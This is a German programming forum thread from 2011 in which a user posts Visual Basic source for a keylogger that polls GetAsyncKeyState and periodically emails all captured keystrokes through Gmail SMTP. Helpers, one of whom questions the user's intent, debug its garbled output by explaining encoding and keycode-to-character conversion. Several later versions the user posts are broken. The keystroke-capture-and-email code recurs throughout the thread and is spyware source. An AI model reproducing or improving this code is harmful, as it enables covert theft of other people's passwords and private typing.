none
Visual Basic 2010 Express, Keylogger der mich eine Email sendet, Email sieht aber komisch aus. RRS feed

  • Frage

  • Hallo Leute,

    Ich habe Gestern einen Keylogger gemacht. Jetzt nicht böse werden, weil es war nur ein Test, ich benütze das Teil ja gar nicht. Aber egal, dieser Keylogger sendet mich eine Email um die soviel Zeit (weiß ich nicht genau) mit was ich alles in mein Keyboard eingetippt habe.

    Jetzt wenn ich das hier eintippe,:

    Hello Microsoft, what is going on here?
    Hallo Microsoft, was geht hier ab?

    krieg ich das hier in meiner inbox:

    ¡HELLO ¡MICROSOFT¼ WHAT IS GOING ON HERE
    ¡HALLO ¡MICROSOFT¼ WAS GEHT HIER AB ¡Û&'

    Code von meinen Keylogger:

    Imports System.Web<br/>Imports System.IO<br/>Imports System.Net.Mail<br/><br/>Public Class Form1<br/>  Dim result As Integer<br/>  Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer<br/><br/>  Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load<br/><br/>  End Sub<br/><br/>  Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick<br/>    For i = 1 To 255<br/>      result = 0<br/>      result = GetAsyncKeyState(i)<br/>      If result = -32767 Then<br/>        TextBox1.Text = TextBox1.Text + Chr(i)<br/>      End If<br/>    Next i<br/><br/>  End Sub<br/><br/>  Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick<br/>    Dim mail As New MailMessage()<br/>    Dim SmtpServer As New SmtpClient<br/>     SmtpServer.Credentials = New Net.NetworkCredential("Meine Email Adresse", "Mein Passwort")<br/>    SmtpServer.Port = 587<br/>    SmtpServer.Host = "smtp.gmail.com"<br/>    SmtpServer.EnableSsl = True<br/>    SmtpServer.EnableSsl = True<br/>     mail.To.Add("Meine Email Adresse")<br/>     mail.From = New MailAddress("Meine Email Adresse")<br/>     mail.Subject = "Beliebig"<br/>    mail.Body = TextBox1.Text<br/>    SmtpServer.Send(mail)<br/>  End Sub<br/>End Class
    

    Bitte hilf mir,

    MfG

    Rafael

     

    Dienstag, 22. März 2011 16:24

Alle Antworten

  • Hi,

    Ich habe Gestern einen Keylogger gemacht. Jetzt nicht böse werden, weil es war nur ein Test, ich benütze das Teil ja gar nicht.

    warum schreibst Du ihn dann? Und auf welchen Rechnern soll der "Test"laufen?
    Aber egal, dieser Keylogger sendet mich eine Email um die soviel Zeit (weiß ich nicht genau) mit was ich alles in mein Keyboard eingetippt habe.

    Jetzt wenn ich das hier eintippe,:

    Hello Microsoft, what is going on here?
    Hallo Microsoft, was geht hier ab?

    krieg ich das hier in meiner inbox:

    ¡HELLO ¡MICROSOFT¼ WHAT IS GOING ON HERE
    ¡HALLO ¡MICROSOFT¼ WAS GEHT HIER AB ¡Û&'

    Kann ich mir beim besten Willen nicht vorstellen. Das ist vielleicht etwas ähnlich dem, was du effektiv erhältst, genau dasselbe ist es aber nicht.

    Code von meinen Keylogger:

    Da der leider nicht lesbar ist, poste ihn bitte nochmal.

    So oder so: Es dürfte am Encoding liegen. Du musst darauf achten, dass Du die Zeichen, die Du protokolliert hast, auch so gesendet werden. Welches Encoding das ist, kann ich dir so nicht sagen.

    Aber schau dir mal das hier an (und experimentier ein wenig mit den Encodings rum):

      http://msdn.microsoft.com/de-de/library/system.net.mail.mailmessage.bodyencoding.aspx

     


    Gruß, Stefan
    Microsoft MVP - Visual Developer ASP/ASP.NET
    http://www.asp-solutions.de/ - Consulting, Development
    http://www.aspnetzone.de/ - ASP.NET Zone, die ASP.NET Community
    Dienstag, 22. März 2011 16:38
    Moderator
  • Hallo,

    Ich log mich oft mal auf YouTube ein und gucke mir ein paar Tuts über VB an, dass heißt nicht dass ich sofort leute hacken will oder den Keylogger zu bösen Zwecken benützen werde. Ich will ja nur ein bisl VB lernen.

    P.S.

    Ich bin noch nicht so gut in  VB und ich weiß nicht wie ich diese Zeichenkodierung ändere.

    Aber naja, hier ist der code:

    Imports System.Web
    Imports System.IO
    Imports System.Net.Mail

    Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    For i = 1 To 255
    result = 0
    result = GetAsyncKeyState(i)
    If result = -32767 Then
    TextBox1.Text = TextBox1.Text + Chr(i)
    End If
    Next i

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
    Dim mail As New MailMessage()
    Dim SmtpServer As New SmtpClient
    SmtpServer.Credentials = New Net.NetworkCredential("Meine Email Adresse", "Mein Passwort")
    SmtpServer.Port = 587
    SmtpServer.Host = "smtp.gmail.com"
    SmtpServer.EnableSsl = True
    SmtpServer.EnableSsl = True
    mail.To.Add("Meine Email Adresse")
    mail.From = New MailAddress("Meine Email Adresse")
    mail.Subject = "Beliebig"
    mail.Body = TextBox1.Text
    SmtpServer.Send(mail)
    End Sub
    End Class

     

    Dienstag, 22. März 2011 18:06
  • Hallo (nochmal),

    Ich muss wirklick wissen wie ich diese komische zeichen in normale umsetze. wenn einer es weiß bitte hilf mir.

    ich bin noch nicht so gut in visual basic

     

    MfG

    Raf

    Dienstag, 22. März 2011 19:55
  • Hi,

    Ich muss wirklick wissen wie ich diese komische zeichen in normale umsetze. wenn einer es weiß bitte hilf mir.

    mail.BodyEncoding = System.Text.Encoding.GetEncoding( "ISO-8859-1" )

    oder auch

    mail.BodyEncoding = System.Text.Encoding.UTF8

    oder irgendwas anderes.

    Ich hab keinen Plan, was deine komische Timer Methode für Zeichen erhält. Ggfs. hakt es da schon bei der Erzeugung der Zeichen. Chr( ... ) ist sicherlich nicht das gelbe vom Ei, wenn man nicht weiß, was die Zahl da eigentlich bedeutet. Das darf dir aber jemand anderes erklären :)

     


    Gruß, Stefan
    Microsoft MVP - Visual Developer ASP/ASP.NET
    http://www.asp-solutions.de/ - Consulting, Development
    http://www.aspnetzone.de/ - ASP.NET Zone, die ASP.NET Community
    Dienstag, 22. März 2011 20:06
    Moderator
  • Danke vielmals, ich probiers jetzt aus!!
    Dienstag, 22. März 2011 20:13
  • Hallo Stefan,

    Ich will dich nicht nerven oder so, aber es hatt noch nicht funktioniert:

     

    Imports System.Web
    Imports System.IO
    Imports System.Net.Mail
    
    Public Class Form1
     Dim result As Integer
     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    
     End Sub
    
     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
     For i = 1 To 255
      result = 0
      result = GetAsyncKeyState(i)
      If result = -32767 Then
      TextBox1.Text = TextBox1.Text + Chr(i)
      End If
     Next i
    
     End Sub
    
     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
     Dim mail As New MailMessage()
     Dim SmtpServer As New SmtpClient
     SmtpServer.Credentials = New Net.NetworkCredential("meine email adresse", "mein passwort")
     SmtpServer.Port = 587
     SmtpServer.Host = "smtp.gmail.com"
     SmtpServer.EnableSsl = True
     SmtpServer.EnableSsl = True
     mail.To.Add("meine email adresse")
     mail.From = New MailAddress("meine email adresse")
     mail.Subject = "Universal Keylogger"
     mail.Body = TextBox1.Text
     mail.BodyEncoding = System.Text.Encoding.GetEncoding("ISO-8859-1")
     SmtpServer.Send(mail)
     End Sub
    End Class
    

     



    Dienstag, 22. März 2011 20:32
  • For i = 1 To 255
    result = 0
    result = GetAsyncKeyState(i)
    If result = -32767 Then
    TextBox1.Text = TextBox1.Text + Chr(i)
    End If
    Next i

    Hallo Rafael,

    Du überprüfst von 1 bis 255, ob dieser Wert als KeyCode gedrückt wurde und wenn ja, wandelt Du den KeyCode als Ascii Zeichen um???
    Was erwartest Du da bitte für ein (Ascii) Zeichen, wenn jemand die "Cursor hoch" oder die "F12" Taste drückt? Da mixt Du ein paar Sachen durcheinander: KeyCode <> AsciiCode. Da darfst Du Dich nicht wundern, wenn kryptische Zeichen ankommen.

     


    Olaf Helper
    * cogito ergo sum * errare humanum est * quote erat demonstrandum *
    Wenn ich denke, ist das ein Fehler und das beweise ich täglich
    Blog Xing
    Dienstag, 22. März 2011 20:35
  • Hallo Olaf,

    Danke für die hilfe! Jetzt aber noch eine frage: wie verändere ich den Code so dass er mich wieder normale zeichen statt ASCII zeichen gibt?

    Danke voraus,

    MfG

    Rafael

    Mittwoch, 23. März 2011 06:19
  • Hallo Rafael,

    du nutzt ja schon die User32.dll, da gibt es auch die ToAsciiEx Funktion, die einen KeyCode entgegen nimmt; mit der könntest Du es versuchen.

    Ansonsten, da Du ja VB lernen möchtest, könntest Du Dir eine eigene Konverter-Funktion schreiben; das übt.


    Olaf Helper
    * cogito ergo sum * errare humanum est * quote erat demonstrandum *
    Wenn ich denke, ist das ein Fehler und das beweise ich täglich
    Blog Xing
    Mittwoch, 23. März 2011 06:34
  • Hallo Olaf,

    Danke dass du mich hilfst. Tut mir leid dass ich so viele Fragen stelle, aber wo platziere ich den "ToAsciiEx" funktion denn? Ich habe sie jetzt hier platziert(7te Linie, 14te Linie):

    Ich krieg jetzt aber leere Emails??

     

    Imports System.Web
    Imports System.IO
    Imports System.Net.Mail
    
    Public Class Form1
     Dim result As Integer
     Private Declare Function ToAscii Lib "user32" (ByVal vKey As Long) As Integer
    
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    
     End Sub
    
     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
     For i = 1 To 255
      result = 0
      result = ToAscii(i)
      If result = -32767 Then
      TextBox1.Text = TextBox1.Text + Chr(i)
      End If
     Next i
    
     End Sub
    
     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
     Dim mail As New MailMessage()
     Dim SmtpServer As New SmtpClient
     SmtpServer.Credentials = New Net.NetworkCredential("Meine Email Adresse", "Mein Passwort")
     SmtpServer.Port = 587
     SmtpServer.Host = "smtp.gmail.com"
     SmtpServer.EnableSsl = True
     SmtpServer.EnableSsl = True
     mail.To.Add("Meine Email Adresse")
     mail.From = New MailAddress("Meine Email Adresse")
     mail.Subject = "Universal Keylogger"
     mail.Body = TextBox1.Text
     mail.BodyEncoding = System.Text.Encoding.GetEncoding("ISO-8859-1")
     SmtpServer.Send(mail)
     End Sub
    End Class
    

     



    Mittwoch, 23. März 2011 16:15
  • Ich krieg jetzt aber leere Emails??

    Auch das wundert mich jetzt eher weniger.

    Du darfst natürlich nicht das Result der Abprüfung, ob der KeyCode gedrückt würde versuchen, in Ascii umzuwandelt; bei Erfolg ist der -32K, da kommt kein Ascii bei raus.

    Du muss den KeyCode verwenden, das wäre Deine Variable i:

    For i = 1 To 255
    
     result = 0
    
     If result = -32767 Then
    
      TextBox1.Text = TextBox1.Text + Chr(ToAscii(i))
    
     End If
    
    Next i
    
    

    Olaf Helper
    * cogito ergo sum * errare humanum est * quote erat demonstrandum *
    Wenn ich denke, ist das ein Fehler und das beweise ich täglich
    Blog X
    Mittwoch, 23. März 2011 18:41
  • Hallo Olaf,

    ich kriegs einfach nicht hin, meine Emails bleiben leer...? Der Code sieht jetzt so aus:

     

    Imports System.Web
    Imports System.IO
    Imports System.Net.Mail
    
    Public Class Form1
     Dim result As Integer
     Private Declare Function ToAscii Lib "user32" (ByVal vKey As Long) As Integer
    
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    
     End Sub
    
     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
     For i = 1 To 255
      result = 0
      If result = -32767 Then
      TextBox1.Text = TextBox1.Text + Chr(ToAscii(i))
      End If
     Next i
    
     End Sub
    
     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
     Dim mail As New MailMessage()
     Dim SmtpServer As New SmtpClient
     SmtpServer.Credentials = New Net.NetworkCredential("Meine Email Adresse", "Mein Passwort")
     SmtpServer.Port = 587
     SmtpServer.Host = "smtp.gmail.com"
     SmtpServer.EnableSsl = True
     SmtpServer.EnableSsl = True
     mail.To.Add("Meine Email Adresse")
     mail.From = New MailAddress("Meine Email Adresse")
     mail.Subject = "Universal Keylogger"
     mail.Body = TextBox1.Text
     SmtpServer.Send(mail)
     End Sub
    
     Private Function ToAscii(ByVal i As Integer) As Integer
     Throw New NotImplementedException
     End Function
    
     Private Function GetAsyncKeyState() As Integer
     Throw New NotImplementedException
     End Function
    
    End Class
    

     

     



    Mittwoch, 23. März 2011 21:44

  •   result = 0

      If result = -32767 Then

     

    Result fix auf 0 setzen und dann auf = -32k prüfen ... wann mag das wohl True ergeben? Da gab es doch mal ein result = GetAsyncKeyState(i) wo ist das denn ab geblieben? Und nimm bitte die aus user32.dll, nicht Deine mit der NotImplementedException.


    Olaf Helper
    * cogito ergo sum * errare humanum est * quote erat demonstrandum *
    Wenn ich denke, ist das ein Fehler und das beweise ich täglich
    Blog Xing
    Donnerstag, 24. März 2011 07:21